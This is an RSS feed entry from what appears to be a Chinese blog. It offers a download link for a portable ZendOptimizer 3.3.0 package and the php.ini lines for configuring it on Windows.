		<description><![CDATA[ZendOptimizer-3.3.0 绿色版 php.ini配置：${path}表示系统路径 [Zend] zend_extension_manager.optimizer_ts=”${path}\Zend\ZendOptimizer-3.3.0\lib\Optimizer-3.3.0&#8243; zend_extension_ts=”${path}\Zend\ZendOptimizer-3.3.0\lib\ZendExtensionManager.dll” &#60;!-- JiaThis Button BEGIN --&#62; &#60;style type=&#34;text/css&#34;&#62; #ckepop a:hover { color:red; background-color:#0063DC; } &#60;/style&#62; &#60;div id=&#34;ckepop&#34;&#62; &#60;a href=&#34;http://www.jiathis.com/share/&#34; class=&#34;jiathis_txt&#34; target=&#34;_blank&#34;&#62;分享到：&#60;/a&#62; &#60;a class=&#34;jiathis_button_tqq&#34;&#62;腾讯微博&#60;/a&#62; &#60;a class=&#34;jiathis_button_tsina&#34;&#62;新浪微博&#60;/a&#62; &#60;a class=&#34;jiathis_button_qzone&#34;&#62;QQ空间&#60;/a&#62; &#60;a class=&#34;jiathis_button_hi&#34;&#62;百度空间&#60;/a&#62; &#60;a class=&#34;jiathis_button_kaixin001&#34;&#62;开心网&#60;/a&#62; &#60;a class=&#34;jiathis_button_renren&#34;&#62;人人网&#60;/a&#62; &#60;a class=&#34;jiathis_button_xiaoyou&#34;&#62;QQ校友&#60;/a&#62; &#60;a href=&#34;http://www.jiathis.com/share/?uid=89488&#34; class=&#34;jiathis jiathis_txt jtico jtico_jiathis&#34; target=&#34;_blank&#34;&#62;更多...&#60;/a&#62; &#60;/div&#62; &#60;script type=&#34;text/javascript&#34; src=&#34;http://v2.jiathis.com/code/jia.js?uid=89488&#34; charset=&#34;utf-8&#34;&#62;&#60;/script&#62; &#60;!-- JiaThis Button [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://down.henghome.com/ZendOptimizer-3.3.0.zip">ZendOptimizer-3.3.0 绿色版</a></p>
<p>php.ini配置：${path}表示系统路径</p>
<p>[Zend]<br />
zend_extension_manager.optimizer_ts=”${path}\Zend\ZendOptimizer-3.3.0\lib\Optimizer-3.3.0&#8243;<br />
zend_extension_ts=”${path}\Zend\ZendOptimizer-3.3.0\lib\ZendExtensionManager.dll”</p>
<div style=float:left>&lt;!-- JiaThis Button BEGIN --&gt;
&lt;style type=&quot;text/css&quot;&gt;
#ckepop a:hover {
    color:red;
    background-color:#0063DC;
}
&lt;/style&gt;
&lt;div id=&quot;ckepop&quot;&gt;
    &lt;a href=&quot;http://www.jiathis.com/share/&quot; class=&quot;jiathis_txt&quot; target=&quot;_blank&quot;&gt;分享到：&lt;/a&gt;
	&lt;a class=&quot;jiathis_button_tqq&quot;&gt;腾讯微博&lt;/a&gt;
	&lt;a class=&quot;jiathis_button_tsina&quot;&gt;新浪微博&lt;/a&gt;
	&lt;a class=&quot;jiathis_button_qzone&quot;&gt;QQ空间&lt;/a&gt;
	&lt;a class=&quot;jiathis_button_hi&quot;&gt;百度空间&lt;/a&gt;
	&lt;a class=&quot;jiathis_button_kaixin001&quot;&gt;开心网&lt;/a&gt;
	&lt;a class=&quot;jiathis_button_renren&quot;&gt;人人网&lt;/a&gt;
	&lt;a class=&quot;jiathis_button_xiaoyou&quot;&gt;QQ校友&lt;/a&gt;
	&lt;a href=&quot;http://www.jiathis.com/share/?uid=89488&quot; class=&quot;jiathis jiathis_txt jtico jtico_jiathis&quot; target=&quot;_blank&quot;&gt;更多...&lt;/a&gt;
&lt;/div&gt;
&lt;script type=&quot;text/javascript&quot; src=&quot;http://v2.jiathis.com/code/jia.js?uid=89488&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt;
&lt;!-- JiaThis Button END --&gt;</div>]]></content:encoded>
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